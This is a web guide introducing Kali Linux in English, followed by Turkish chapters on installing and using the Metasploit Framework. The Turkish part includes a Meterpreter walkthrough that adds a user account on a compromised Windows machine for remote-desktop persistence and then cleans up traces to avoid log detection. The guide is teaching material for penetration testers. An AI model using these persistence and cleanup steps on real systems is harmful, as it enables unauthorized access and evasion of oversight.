This Document is actively being developed as a part of ongoing Kali Linux learning efforts. Chapters will be added periodically.
An In-Depth Guide to Kali Linux: The Go-To OS for Ethical Hackers
Introduction
Kali Linux has long been regarded as the go-to operating system (OS) for ethical hackers, security researchers, and IT professionals focused on network and system security. Developed and maintained by Offensive Security, this Debian-based distribution comes with a robust suite of tools designed to facilitate everything from penetration testing to forensic analysis. In this post, we’ll explore what Kali Linux is, why it’s popular among cybersecurity experts, and how to start using it effectively.
What is Kali Linux?
Kali Linux is a free, open-source Linux distribution specifically tailored for cybersecurity work. Since its launch in 2013, Kali has evolved into one of the most powerful tools for ethical hackers and security professionals. The OS is built on Debian, one of the oldest and most stable Linux distributions, providing a solid foundation for security testing.
Key Attributes of Kali Linux:
Security-focused: Designed specifically with security and penetration testing in mind, it offers a curated toolkit.
Pre-installed tools: Bundled with more than 600 cybersecurity tools.
Constant updates: Offensive Security regularly updates Kali, ensuring it stays current with the latest security tools and technologies.
Customizability: Users can tailor Kali to fit specific needs, from customizing desktop environments to adding specialized toolsets.
Community-driven: With a vibrant community and developer support, Kali Linux remains at the forefront of cybersecurity.
Why is Kali Linux Popular Among Ethical Hackers?
Several factors make Kali Linux particularly attractive to the ethical hacking and cybersecurity community:
Extensive Tool Library: It comes preloaded with a comprehensive range of cybersecurity tools, covering everything from network scanning to password cracking.
Ease of Use for Security Tasks: Unlike other Linux distributions, Kali is designed with security tasks as a priority, streamlining workflows for ethical hackers.
Flexibility: Kali can be run directly from a USB drive, installed as a dual-boot system, or used in a virtual machine, allowing users to practice ethical hacking without interfering with their primary OS.
Regular Updates: Offensive Security consistently updates Kali to ensure compatibility with the latest hardware and software, helping professionals stay ahead of security threats.
Community and Documentation: The extensive Kali Linux community and its well-maintained documentation make it an excellent choice for both beginners and seasoned professionals.
Key Tools and Features in Kali Linux
One of the most appealing aspects of Kali Linux is its extensive toolkit. Below are some key tools grouped by their primary functions:
1. Information Gathering Tools
Nmap: Network Mapper (Nmap) is a powerful network scanning tool used to discover hosts and services on a network.
Wireshark: A network protocol analyzer that allows users to capture and inspect packets in real-time, essential for network analysis.
Maltego: An open-source intelligence tool that maps relationships between data sets, useful for investigating networks and social connections.
2. Vulnerability Analysis Tools
OpenVAS: An open-source vulnerability scanner that identifies security issues on a network.
Nikto: A web server scanner that performs tests on web servers, checking for dangerous files, outdated server software, and other security threats.
3. Exploitation Tools
Metasploit: A framework that allows ethical hackers to discover and exploit vulnerabilities in systems.
BeEF (Browser Exploitation Framework): A penetration testing tool focused on the web browser, useful for testing browser vulnerabilities.
4. Password Cracking Tools
John the Ripper: An open-source password cracker that can perform brute force attacks on various encryption standards.
Hydra: A tool for performing brute force attacks against various protocols, including HTTP, SMTP, and FTP.
Hashcat: Known for its efficiency, Hashcat can crack various types of hashes with GPU acceleration, making it one of the fastest password recovery tools available.
5. Forensics Tools
Autopsy: A digital forensics tool that allows analysts to retrieve and examine data from digital devices.
Bulk Extractor: A tool that processes files and extracts useful information, such as emails, URLs, and phone numbers.
6. Reverse Engineering Tools
Ghidra: A software reverse engineering suite developed by the NSA, useful for analyzing compiled code.
Radare2: A set of tools for reverse engineering, debugging, and binary analysis.
Getting Started with Kali Linux
Starting with Kali Linux involves choosing an installation method that best suits your needs. Here’s a quick overview:
1. Live USB Installation
Live USB is the most popular way to use Kali Linux, as it doesn’t require any permanent installation on your computer. This method allows users to boot directly from a USB drive and run Kali Linux in a portable, non-persistent environment.
Suitable for those who need temporary access to Kali Linux or want to try it out without committing to a full installation.
2. Dual-Boot Installation
Dual-booting is a good option for users who want to run both Kali Linux and another OS, such as Windows.
This setup requires partitioning your hard drive and is ideal for professionals who need to switch between regular OS functions and security tasks.
3. Virtual Machine Installation
Virtual Machines (VMs) offer the flexibility to run Kali Linux inside your existing OS using software like VirtualBox or VMware.
This method is suitable for experimenting with Kali Linux without making changes to your main OS, making it popular among beginners.
4. Full Installation
Full Installation on a dedicated machine is ideal for users who plan to use Kali Linux as their primary OS.
This method requires wiping the existing OS and installing Kali as the sole operating system.
Top Tips for Using Kali Linux Effectively
Once Kali is installed, here are some tips to make the most out of your setup:
Use Kali Only When Necessary: Avoid using Kali Linux as a general-purpose OS, as it is specifically designed for security tasks. Instead, reserve it for when you need to perform testing or research.
Stay Updated: Regularly update Kali Linux and its tools to stay current with the latest security patches and tool updates. Run sudo apt update && sudo apt upgrade periodically.
Document Your Work: Ethical hacking requires thorough documentation. Record each step taken, including tool configurations, testing procedures, and outcomes.
Practice Ethical Hacking Legally: Only use Kali Linux in legal environments. Unauthorized access to systems without consent is illegal and violates ethical guidelines.
Leverage Community Resources: Kali has a vibrant community of users, forums, and tutorials. Join the community and participate in forums to learn and stay updated.
Advantages and Disadvantages of Kali Linux
Like any tool, Kali Linux has its pros and cons. Here’s a quick look at both:
Advantages
Comprehensive Toolkit: Kali Linux’s suite of tools makes it the complete package for cybersecurity tasks.
Regularly Updated: It’s consistently updated, ensuring compatibility with the latest tools.
Customizable: Users can easily tailor the OS to fit specific security needs.
Portable: Can be run as a live environment, on a USB, or in a virtual machine for versatile use.
Disadvantages
Resource-Intensive: Running all of Kali’s tools can be resource-intensive, requiring robust hardware for optimal performance.
Complexity for Beginners: While the OS is powerful, it has a steep learning curve for those new to cybersecurity.
Not for General Use: Unlike other Linux distributions, Kali is designed specifically for security tasks and may not serve as an everyday OS.
Ethical Implications and Responsibilities
Using Kali Linux requires ethical responsibility. The capabilities offered by Kali can lead to malicious activities if used improperly. To maintain ethical standards:
Obtain Proper Authorization: Only conduct penetration tests on systems for which you have explicit permission.
Respect Privacy: Avoid intruding into sensitive data or personal information unless required and authorized by a security assessment.
Follow Legal Guidelines: Always operate within the legal frameworks of your country and adhere to international cybersecurity standards.
Conclusion
Kali Linux stands out as an essential operating system for cybersecurity professionals, offering a vast array of tools and resources for ethical hacking, penetration testing, and security assessments. While its toolkit can appear daunting at first, understanding the basics of Kali and focusing on continuous learning can provide you with a robust foundation in cybersecurity.
Kali Linux is a powerful ally in defending against cyber threats, provided it is used responsibly and ethically. Whether you’re a seasoned cybersecurity professional or an aspiring ethical hacker, mastering Kali Linux can open doors to deeper knowledge and effective cybersecurity practices.
1 - Bölüm 1 Kali Komut ve Araçları
Bu gönderi Kali Linux Araçlarının tam listesini içerir. İlgili araç açıklama sayfası hazırlandıktan sonra yeni satırlar eklenecektir.
Bu gönderi Kali Linux Araçlarının tam listesini içerir. İlgili araç açıklama sayfası hazırlandıktan sonra yeni satırlar eklenecektir. Bu liste bir dizin olarak kullanılabilir.
Bilgi Toplama Araçları
2 - Bölüm 2 Metasploit Framework
Bu kısım Metasploit Framework komutlarının kullanımını içerir.
Bu kısım Metasploit Framework komutlarının kullanımını içerir. Metasploit Framework, siber güvenlik alanında en çok kullanılan araçlardan biridir. Metasploit Framework, siber güvenlik uzmanlarının ve hackerların siber güvenlik testlerinde kullanabileceği birçok araç ve modül içerir. Metasploit Framework, siber güvenlik testlerinde kullanılan birçok aracı tek bir çatı altında toplar. Bu kısım, Metasploit Framework’ün kullanımını ve komutlarını içerir. Metasploit Framework’ün kullanımı hakkında daha fazla bilgi edinmek için aşağıdaki makaleleri okuyabilirsiniz.
2.1 - MSF Remote Desktop Modülü
Metasploit Framework içerisinde Meterpreter ile bir shell açtığınızda yapılabilecek işlemlerden bir tanesi de uzak masaüstü bağlantısını hayata geçirmek olabilir. Bunun için getgui komutu oldukça kullanışlıdır.
Metasploit Framework içerisinde Meterpreter ile bir shell açtığınızda yapılabilecek işlemlerden bir tanesi de uzak masaüstü bağlantısını hayata geçirmek olabilir. Bunun için getgui komutu oldukça kullanışlıdır.
Bu yazımızda getgui komutunu kullanarak sistemde bir kullanıcı oluşturup ardından rdesktop komutu ile bu bilgisayara nasıl bağlanabileceğimizi göreceğiz.
Uzak Masaüstü Bağlantısı
Hedef bilgisayarda Meterpreter shell açtığınızı varsayıyoruz. Şimdi işe getgui komutunu kullanarak görsel bağlantı sağlamak için gerekli olan kullanıcı adı ve parolaya ihtiyacımız var. Böyle bir kullanıcı adı ve parolası oluşturduğunuzda kalıcılık sağlamış olursunuz.
Öncelikle getgui yardım başlıklarına bakalım.
meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p
Or: getgui -e
OPTIONS:
-e Enable RDP only.
-f Forward RDP Connection.
-h Help menu.
-l The language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN' -p The Password of the user
Kullanıcı Ekleme
Genel olarak kullanımda -u kullanıcı adını, -p parolayı belirtmek için kullanılır. getgui komutunu aşağıdaki örneğe benzer şekilde kullandığınızda sisteme yeni bir kullanıcı eklemiş olursunuz.
meterpreter > run getgui -u loneferret -p password
> Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
> Carlos Perez carlos_perez@darkoperator.com
> Language detection started
> Language detected: en_US
> Setting user account for logon
> Adding User: loneferret with Password: password
> Adding User: loneferret to local group ''> Adding User: loneferret to local group ''> You can now login with the created user
> For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
meterpreter >
Uzak Masaüstü Bağlantısı
Artık kullanıcı oluşturuldu. Aynı ağda bulunan başka bir bilgisayardan, bu kullanıcı adı ve parolayı kullanarak uzak masaüstü bağlantısı yapabilirsiniz.
Hedef sistemde ne kadar çok oynama yaparsanız, log kayıtlarına kaydedilme ihtimaliniz de o kadar artar. Bu sebeple mümkün olduğunca yetkisiz işlem yapmamalı veya gereken yerlere müdahale etmekle yetinmelisiniz.
getgui ile oluşturduğunuz kullanıcı ve oturum bilgilerini log kayıtların temizlemek isteyebilirsiniz. Bunun için aşağıdaki komut örneği işinize yarayacaktır. Örnekte kullanılan /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc dosyasının en güncel halini yine aynı klasör içinden kontrol edebilirsiniz.
meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
> Running Command List ...
> Running command execute -H -f cmd.exe -a "/c net user hacker /delete"Process 288 created.
meterpreter >
2.2 - Metasploit Framework Kurulum
Metasploit Framework Kali vb. dağıtımlarda kurulu olarak gelmektedir. Kali kullanmıyor olsanız bile kendi Linux dağıtımınıza kurulum yapabilisiniz. Bu yazıda Community sürümü olan ve komut satırından çalışan ücretsiz sürümü kurmayı inceleyeceğiz. Anlatımda kullanılan komutların Ubuntu temelli tüm dağıtımlarda çalışacağı tahmin edilmektedir. Biz testlerimizi ve denemeyi Linux Mint 18.1 Cinnamon Linux dağıtımında gerçekleştirdik.
Metasploit Framework sızma testlerinde ve güvenlik testlerinde kullanılan bir yazılımdır. Rapid7 firması tarafından geliştirilen yazılımın Pro sürümü, ücretli olarak dağıtılmakta ve görsel arayüz desteği bulunmaktadır.
Metasploit Framework Kali vb. dağıtımlarda kurulu olarak gelmektedir. Kali kullanmıyor olsanız bile kendi Linux dağıtımınıza kurulum yapabilisiniz. Bu yazıda Community sürümü olan ve komut satırından çalışan ücretsiz sürümü kurmayı inceleyeceğiz. Anlatımda kullanılan komutların Ubuntu temelli tüm dağıtımlarda çalışacağı tahmin edilmektedir. Biz testlerimizi ve denemeyi Linux Mint 18.1 Cinnamon Linux dağıtımında gerçekleştirdik.
Linux Mint Güncelleyelim
Aşağıdaki komutlar ile Linux güncelenecek ve tekrar başlatılacaktır.
İşlem başladığında ekran aşağıdaki gibi devam edecektir.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100539410053940092480 --:--:-- --:--:-- --:--:-- 9252Updating package cache..OK
Checking **for **and installing update..
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
metasploit-framework
0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.
Need to get 176 MB of archives.
After this operation, 431 MB of additional disk space will be used.
Get:1 <a href="http://downloads.metasploit.com/data/...[176">http://downloads.metasploit.com/data/...[176</a> MB]
Yukarıdaki komut, Rapid7 APT Deposunu sisteme ekleyecek ve gerekli paketleri yükleyecektir.
Kurulumdan sonra exit komutuyla root yetkilerinden normal kullanıcı yetkilerine dönün. Komut satırındaki # işareti $ şekline dönmelidir.
umut-X550JX umut # exitumut@umut-X550JX ~ $
İlk çalıştırma:
Komut satırında msfconsole komutunu çalıştırın ve veri tabanı oluşturun: Would you like to use and setup a new database (recommended)? sorusunu yes olarak cevaplayın.
user@mint ~ $ msfconsole
****** Welcome to Metasploit Framework Initial Setup ******
Please answer a few questions to get started.
Would you like to use and setup a new database **(**recommended**)**? yes
Creating database at /home/user/.msf4/db
Starting database at /home/user/.msf4/db
Creating database users
Creating initial database schema
****** Metasploit Framework Initial Setup Complete ******
İşler yolunda gitmişse (ki eminim gidecektir) aşağıdaki örneğe benzer bir ekran sizi karşılayacaktır.
, ,
/ \
**((**__---,,,---__**))**
**(**_**)** O O **(**_**)**_________
\ _ / |\
o_o \ M S F |\
\ _____ | *****
**||**| WW||| **||**| **||**| **=[** metasploit v4.14.17-dev- **]**
+ -- --**=[** 1647 exploits - 945 auxiliary - 291 post **]**
+ -- --**=[** 486 payloads - 40 encoders - 9 nops **]**
+ -- --**=[** Free Metasploit Pro trial: <a href="http://r-7.co/trymsp">http://r-7.co/trymsp</a> **]**
msf >
Veri tabanına bağlantıyı kontrol edelim.
msfdb status komutu ile veri tabanı bağlantısını kontrol edebilirsiniz.
msf > msfdb status
> exec: msfdb status
Database started at /home/umut/.msf4/db
msf >
Birkaç dakika içerisinde veri tabanı exploit indeksini oluşturacaktır. Ardından search komutuyla exploit aramasını daha hızlı yapabileceksiniz.
Örneğin, samba ile ilgili bir exploit arayacaksanız aşağıdaki search sambakomutu işinize yarayabilir.
msf > search samba
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal
auxiliary/dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflow
auxiliary/dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow
auxiliary/dos/samba/read_nttrans_ea_list normal Samba read_nttrans_ea_list Integer Overflow
auxiliary/scanner/rsync/modules_list normal List Rsync Modules
auxiliary/scanner/smb/smb_uninit_cred normal Samba _netr_ServerPasswordSet Uninitialized Credential State
exploit/freebsd/samba/trans2open 2003-04-07 great Samba trans2open Overflow **(*******BSD x86**)**
exploit/linux/samba/chain_reply 2010-06-16 good Samba chain_reply Memory Corruption **(**Linux x86**)**
exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Samba lsa_io_trans_names Heap Overflow
exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Samba SetInformationPolicy AuditEventsInfo Heap Overflow
exploit/linux/samba/trans2open 2003-04-07 great Samba trans2open Overflow **(**Linux x86**)**
exploit/multi/samba/nttrans 2003-04-07 average Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution
exploit/osx/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflow
exploit/osx/samba/trans2open 2003-04-07 great Samba trans2open Overflow **(**Mac OS X PPC**)**
exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflow
exploit/solaris/samba/trans2open 2003-04-07 great Samba trans2open Overflow **(**Solaris SPARC**)**
exploit/unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execution
exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Citrix Access Gateway Command Execution
exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent MS14-060 Microsoft Windows OLE Package Manager Code Execution
exploit/windows/http/sambar6_search_results 2003-06-21 normal Sambar 6 Search Results Buffer Overflow
exploit/windows/license/calicclnt_getconfig 2005-03-02 average Computer Associates License Client GETCONFIG Overflow
exploit/windows/smb/group_policy_startup 2015-01-26 manual Group Policy Script Execution From Shared Resource
post/linux/gather/enum_configs normal Linux Gather Configurations
Metasploit Framework çok sık güncelleme almaktadır. Paket deposu sisteminize eklendiğinden apt update ile veya msfconsole içerisinden msfupdate komutu ile güncelleyebilirsiniz.
2.3 - Metasploit Framework Tanıyalım
Metasploit Framework’ü etkin ve tam kapasiteli kullanabilmek için ihtiyaç duyabileceğiniz temel bilgilere ve komutlara birlikte bakalım.
Metasploit Framework’ü etkin ve tam kapasiteli kullanabilmek için ihtiyaç duyabileceğiniz temel bilgilere ve komutlara birlikte bakalım istedim. Acele edip hızlı gitmektense, önce işimizi kolaylaştıracak temel bilgileri görelim.
Mimari ve Kütüphaneler
Metasploit, kısaca yukarıda gördüğünüz mimari diyagramında gösterilen elemanlardan oluşmaktadır. Bu temel elemanları kısaca tanıyalım
Rex
Metasploit için en temel başlangıç kütüphanesidir. Soket, protokol, SSL, SMB, HTTP, XOR, Base64, Unicode işlemlerinin yapıldığı merkezdir.
Msf::Core
Rex kütüphanesi üzerine bina edilen Core katmanı, dışarıdan modül ve eklentilerin de eklenmesini sağlayan ayarların yönetildiği kısımdır. Temel API sağlar. Çerçeve dediğimiz Framework burasıdır.
Msf::Base
Bu katman, temel API lerin daha da basitleştirildiği kısımdır.
Msf::GUI
Kullanıcının gördüğü kısımdır. Arayüz ve komutların girişinin yapıldığı kısımlar burada bulunur.
Dosya sistemi
MSF dosya sistemi, kullanıcının işini kolaylaştıracak şekilde oluşturulmuştur ve klasörler anlamlıdır. Bir programı kullanacaksanız, dosya sistemini ve hangi klasörde neyin bulunduğunu bilmek başlangıç için çok önemlidir. Linux işletim sisteminize Metasploit Framework yazılımını, dağıtımınızın yazılım merkezi aracılığı ile yüklemiş iseniz gerekli klasörleri /usr/share içerisinde bulabilirsin. Debian paketi olarak indirip yüklediyseniz /opt/metasploit-framework/ klasörü içerisinde bulabilirsiniz.
Bazı ana klasörlerin hangi bilgileri ihtiva ettiğine bakalım.
data: Metasploit tarafından kullanılan ve değiştirilebilir dosyalar bu klasördedir.
documentation: MSF hakkında yardım ve açıklama dokümanları bulunur
external: Kaynak kodlar ve 3. taraf kütüphaneleri bu klasördedir.
lib: MSF kullandığı ana kütüphaneler bulunur.
modules: MSF yüklendiğinde indeksinde bulunan modüller bu klasördedir.
plugins: Program başlarken yüklenecek eklentiler buradadır.
scripts: Meterpreter ve diğer script kodları bulunur.
tools: Çeşitli komut satırı araçları bulunur.
Modüller ve Yerleri
Modüller
Metasploit Framework, modüllerden oluşturulmuştur. Bu modüller kısaca nelerdir?
Payload: Karşı sistemde çalışmak üzere tasarlanan script kodlarına Payload adı verilmektedir.
Exploits: Payload kullanan modüllere exploit adı verilmektedir.
Auxiliary: Payload kullanmayan modüllere Auxiliary modülleri adı verilir.
Encoders: Payload scriptlerinin karşı tarafa gitmesini, ulaştırılmasını sağlayan modüllerdir.
Nops: Payload scriptlerinin sürekli ve sağlıklı çalışmasını sağlayan modüllerdir.
Modüller Nerededir?
Temel modüller ve kullanıcı modülleri olarak ikiye ayırabileceğimiz modüllerin hangi klasörde bulunduğuna bakalım.
Temel Modüller
MSF her yüklendiğinde kurulup hazır hale gelen modüller, yukarıda belirttiğimiz /usr/share/metasploit-framework/modules/ klasöründe veya /opt/metasploit-framework/modules/ içerisinde bulunurlar. Windows kullanıcıları da Program Files klasörü içerisine bakabilirler.
Kullanıcı Modülleri
Metasploit’in kullanıcıya tanıdığı en büyük imkan, kendi modülünü çerçeveye dahil edebilmesidir. Bir script yazdınız veya indirdiniz kullanmak istiyorsunuz. Bu kodlara kullanıcı modülleri denir ve kullanıcının ev klasörünün içerisinde başında nokta olan gizli bir klasörde tutulurlar. Tam olarak adresi ~/.msf4/modules/ bu şekildedir. ~ Ev klasörü anlamına gelmektedir. Klasörü dosya yöneticisinde görmek için “Gizli Dosyaları Göster” seçeneğini aktif hale getirebilirsiniz.
Kullanıcı modüllerini sisteme tanıtma
MSF, kullanıcıya başlarken veya başladıktan sonra kendi ilave modüllerini yükleme imkanı sunar. Bunun başlarken ve başladıktan sonra nasıl yapıldığını görelim.
Aşağıda anlatılan iki yöntemde de komutlara vereceğiniz klasör adreslerinin içerisinde, msf isimlendirme konvansiyonuna uygun klasörler bulunmalıdır. Örneğin, ~/.msf4/modules/ klasöründen bir exploit yüklemek isterseniz, o exploitin ~/.msf4/modules/exploit/ klasöründe bulunuyor olması gerekir.
Tam olarak klasörlerin isimlerini ve isimlendirme şablonunun programınızın kurulu olduğu klasör içerisinden öğrenebilirsiniz. Benim bilgisayarım için örnek çıktı aşağıdaki klasör yapısındadır.
umut@umut-X550JX /opt/metasploit-framework/embedded/framework/modules $ ls -l
total 24drwxr-xr-x 20 root root 4096 May 10 14:46 auxiliary
drwxr-xr-x 11 root root 4096 May 10 14:46 encoders
drwxr-xr-x 19 root root 4096 May 10 14:46 exploits
drwxr-xr-x 10 root root 4096 May 10 14:46 nops
drwxr-xr-x 5 root root 4096 May 10 14:46 payloads
drwxr-xr-x 12 root root 4096 May 10 14:46 post
Başlarken kullanıcı modüllerini yükleme
Yukarıda belirttiğimiz gibi kullanıcı modülleri ~/.msf4/modules/ klasöründeydi. Bu klasörü msfconsole komutuna söylediğimizde, ilave modüllerde yüklenir ve sistem öyle başlar. Bunu aşağıdaki komutta görüldüğü gibi -m parametresi ile yapabiliriz.
umut@umut-X550JX ~ $ msfconsole -m ~/.msf4/modules/
Found a database at /home/umut/.msf4/db, checking to see **if **it is started
Starting database at /home/umut/.msf4/db...success
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Press SPACE BAR to **continue**
**=[** metasploit v4.14.17-dev- **]**
+ -- --**=[** 1648 exploits - 946 auxiliary - 291 post **]**
+ -- --**=[** 486 payloads - 40 encoders - 9 nops **]**
+ -- --**=[** Free Metasploit Pro trial: <a href="http://r-7.co/trymsp">http://r-7.co/trymsp</a> **]**
msf >
Başladıktan sonra modül tanıtma
MSF programını msfconsole komutuyla başlattınız ve bir takım işlemleriniz devam ediyor. Sisteme yeni bir modül tanıtmak için, programı kapatmanıza gerek yok. loadpath komutuyla modülün olduğu yolu tarif ettiğinizde, yükleme gerçekleşecektir.
Bu yazımızda, Metasploit Framework içerisinde kullanılan temel komutları inceleyeceğiz.
Bu yazımızda, Metasploit Framework içerisinde kullanılan temel komutları inceleyeceğiz. Komutların, başlangıçta çok fazla ve karışık olduğunu düşünebilirsiniz ancak kendinize zaman tanımanızı tavsiye ediyorum. Kullandıkça aşina olacak ve artık otomatik olarak yazar hale geleceksiniz. Komutları yazarken, komutun bir kaç harfini yazıp TAB tuşu ile gerisini otomatik tamamlayabilirsiniz. msfconsole içerisinde komut ve klasör yolu tamamlama, aynen Linux komut satırındaki gibi çalışır.
back
use komutunu kullanarak seçtiğiniz bir modülü aktif ettiğinizde, modülü kullanmaktan vazgeçebilirsiniz. Bu durumda, bir üst klasöre geri gelmek istediğinizde backkomutu kullanılır. Teknik olarak çok gerekli değildir çünkü bulunduğunuz modülün içinde de yeni modül seçtiğinizde o modülden çıkmış olusunuz.
msf auxiliary**(**ms09_001_write**)** > back
msf >
Bu komutu her exploit desteklemese de ne işe yaradığını açıklayalım. Bir modül seçtiniz ve hedef sistemde uygulamadan önce işe yarayıp yaramayacağını merak ediyorsunuz. Gerekli ayarları set komutuyla yaptıktan sonra check komutuyla ön test yapabilirsiniz.
msf exploit**(**ms08_067_netapi**)** > show options
Module options **(**exploit/windows/smb/ms08_067_netapi**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use **(**BROWSER, SRVSVC**)**
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit**(**ms08_067_netapi**)** > check
> Verifying vulnerable status... **(**path: 0x0000005a**)**
> System is not vulnerable **(**status: 0x00000000**)**
> The target is not exploitable.
msf exploit**(**ms08_067_netapi**)** >
color
msfconsole içinden alacağınız çıktı ve bilgilerin renklendirilmesini sağlar.
msf > color
Usage: color >'true'|'false'|'auto'>
Enable or disable color output.
connect
Küçük bir telnet veya netcat programıdır diyebiliriz. SSL desteği vardır ve dosya gönderme vb. işlemleri yapabilirsiniz. Kulanmak için, bağlanmak istediğiniz IP adresini ve port numarasını belirtmeniz durumunda msfconsole içerisinden uzak bilgisayara ulaşabilirsiniz.
connect komutu ile ilgili detaylı seçeneklerini -h parametresiyle görebilirsiniz.
msf > connect -h
Usage: connect **[**options]Communicate with a host, similar to interacting via netcat, taking advantage of
any configured session pivoting.
OPTIONS:
-C Try to use CRLF **for **EOL sequence.
-P <opt> Specify source port.
-S <opt> Specify source address.
-c <opt> Specify which Comm to use.
-h Help banner.
-i <opt> Send the contents of a file.
-p <opt> List of proxies to use.
-s Connect with SSL.
-u Switch to a UDP socket.
-w <opt> Specify connect timeout.
-z Just try to connect, **then return**.
msf >
edit
Aktif olarak seçilmiş modülün kodlarında değişiklik yapmak isterseniz edit komutuyla metin editörünü açıp gerekli işlemleri yapabilirsiniz. Varsayılan olarak Vim editör açılacaktır.
msf exploit**(**ms10_061_spoolss**)** > edit
> Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/ms10_061_spoolss.rb
require 'msf/core'require 'msf/windows_error'class Metasploit3 > Msf::Exploit::Remote
Rank= ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info={})
Kullanılabilir durumda olan komutların listesini ve kısa açıklamalarını ekrana görüntülemeye yarar.
msf > helpCore Commands
**=============**
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
...snip...
Database Backend Commands
**=========================**
Command Description
------- -----------
creds List all credentials **in **the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file **(**filetype will be auto-detected**)**
...snip...
info
İstediğiniz herhangi bir modül hakkında detaylı bilgileri info komutuyla inceleyebilirsiniz. Herhangi bir modülü kullanmadan önce info komutuyla, modül detaylarını mutlaka okumanızı tavsiye ediyoruz. Sadece isminden hareketle başarılı olamayabilirsiniz.
msf exploit**(**ms09_050_smb2_negotiate_func_index**)** > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Version: 14774 Platform: Windows
Privileged: Yes
License: Metasploit Framework License **(**BSD**)**
Rank: Good
Provided by:
Laurent Gaffie <laurent.gaffie@gmail.com>
hdm <hdm@metasploit.com>
sf <stephen_fewer@harmonysecurity.com>
Available targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 **(**x86**)**
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait **for **the attack to complete.
Payload information:
Space: 1024Description:
This module exploits an out of bounds **function **table dereference **in
**the SMB request validation code of the SRV2.SYS driver included with
Windows Vista, Windows 7 release candidates **(**not RTM**)**, and Windows
2008 Server prior to R2. Windows Vista without SP1 does not seem
affected by this flaw.
References:
<a href="http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx">http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx</a>
<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name">http://cve.mitre.org/cgi-bin/cvename.cgi?name</a>**=**2009-3103
<a href="http://www.securityfocus.com/bid/36299">http://www.securityfocus.com/bid/36299</a>
<a href="http://www.osvdb.org/57799">http://www.osvdb.org/57799</a>
<a href="http://seclists.org/fulldisclosure/2009/Sep/0039.html">http://seclists.org/fulldisclosure/2009/Sep/0039.html</a>
<a href="http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx">http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx</a>
msf exploit**(**ms09_050_smb2_negotiate_func_index**)** >
irb
Bu komutu verdiğinizde doğrudan Ruby komut girişimcisine gidersiniz. msfconsole içerisinden Ruby ile script yazmanızı sağlar.
Arka planda çalışır durumdaki modülleri listeleme, kapatma vb. işlemleri listelemenizi sağlar.
msf > jobs -h
Usage: jobs **[**options]Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l
msf >
kill
Çalışan bir prosesin job id numarasını verdiğiniz takdirde işlemin kapanmasını sağlar.
msf exploit**(**ms10_002_aurora**)** > kill0Stopping job: 0...
> Server stopped.
load
Metasploit klasörlerinden plugin (eklenti) yüklemenizi sağlar. Parametreler, key=val formatında belirtilmelidir.
load komutuyla eklentinin tam yolunu vermezseniz, öncelikle kullanıcı klasörlerine ~/.msf4/plugins bakılır. Orada bulunamaz ise eklenti için metasploit-framework ana klasörlerine /usr/share/metasploit-framework/plugins bakılır.
Bazı modüller, script komutlarının içinden dış kaynaklara atıfta bulunurlar. Örneğin (password dictionary) vb. kaynakları msfconsole içerisinde kullanmak için resource komutunu kullanabilirsiniz.
Bu tür resource dosyaları, işlerinizi oldukça hızlandırabilir. msfconsole dışından, msfconsole resource dosyası göndermek için -r parametresini kullanabilirsiniz.
route komutu, hedef bilgisayardaki iletişimin rotasını değiştirmeye yarar. add, delete ve list seçenekleri bulunur. Komuta subnet, netmask, gateway parametrelerini göndermeniz gerekir.
